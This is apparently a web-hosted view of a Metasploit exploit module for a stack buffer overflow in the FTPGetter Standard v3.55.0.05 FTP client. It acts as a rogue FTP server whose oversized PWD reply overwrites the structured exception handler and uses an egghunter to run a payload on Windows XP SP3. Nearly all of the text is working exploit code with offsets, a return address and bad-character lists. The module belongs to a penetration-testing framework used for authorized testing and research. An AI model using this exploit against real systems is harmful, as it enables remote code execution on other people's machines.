Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::FtpServer9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(update_info(info,13'Name' => 'FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)',14'Description' => %q{15This module exploits a buffer overflow in FTPGetter Standard v3.55.0.05 ftp client.16When processing the response on a PWD command, a stack based buffer overflow occurs.17This leads to arbitrary code execution when a structured exception handler gets18overwritten.19},20'Author' =>21[22'ekse', # found the bug23'corelanc0d3r <peter.ve[at]corelan.be>', # wrote the exploit24],25'License' => MSF_LICENSE,26'References' =>27[28[ 'OSVDB', '68638'],29[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],30],31'DefaultOptions' =>32{33'EXITFUNC' => 'thread',34},35'Payload' =>36{37'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",38},39'Platform' => 'win',40'Targets' =>41[42[ 'XP SP3 Universal', { 'Offset' => 485, 'Ret' => 0x100139E5 } ], # ppr [ssleay32.dll]43],44'Privileged' => false,45'DisclosureDate' => '2010-10-12',46'DefaultTarget' => 0))4748end4950def setup51super52badchars = ""53eggoptions =54{55:checksum => true,56:eggtag => "W00T"57}58@hunter,@egg = generate_egghunter(payload.encoded,badchars,eggoptions)59end6061def on_client_unknown_command(c,cmd,arg)62c.put("200 OK\r\n")63end6465def on_client_command_pass(c,arg)66@state[c][:pass] = arg67c.put("230 OK #{@egg}\r\n")68return69end7071def on_client_command_pwd(c,arg)72junk1 = "A" * target['Offset']73junk2 = "A" * 974nseh = "\x74\x06\x41\x41"75jmp = "\x75\x08"76seh = [target.ret].pack('V')77junk3 = "D" * 2200078#dual offset79buffer = junk1 + nseh + seh + junk2 + jmp + nseh + seh + @hunter + junk380c.put("257 \"/\" #{buffer}\r\n")81print_status("Sent payload, #{buffer.length} bytes")82print_status("Wait for hunter ...")83return84end85end868788